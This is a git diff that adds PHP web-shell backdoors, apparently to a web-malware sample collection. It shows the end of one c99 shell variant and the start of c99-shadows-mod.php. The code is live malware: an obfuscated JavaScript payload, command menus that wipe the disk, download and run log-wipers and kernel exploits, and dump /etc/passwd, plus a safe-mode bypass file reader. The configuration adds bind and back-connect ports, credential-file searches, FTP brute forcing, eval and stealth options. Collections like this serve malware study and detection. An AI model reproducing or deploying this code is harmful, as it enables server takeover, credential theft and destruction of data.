+fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; +fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; +fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c999shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c999shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99-shadows-mod.php b/web-malware-collection-master/Backdoors/PHP/c99-shadows-mod.php new file mode 100755 index 0000000..6e84473 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99-shadows-mod.php @@ -0,0 +1,3072 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #16"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +//$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +//$pass = ""; //password +//$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "HoofMaGoof Hacked Web Server Access"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>Owned by hacker</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + 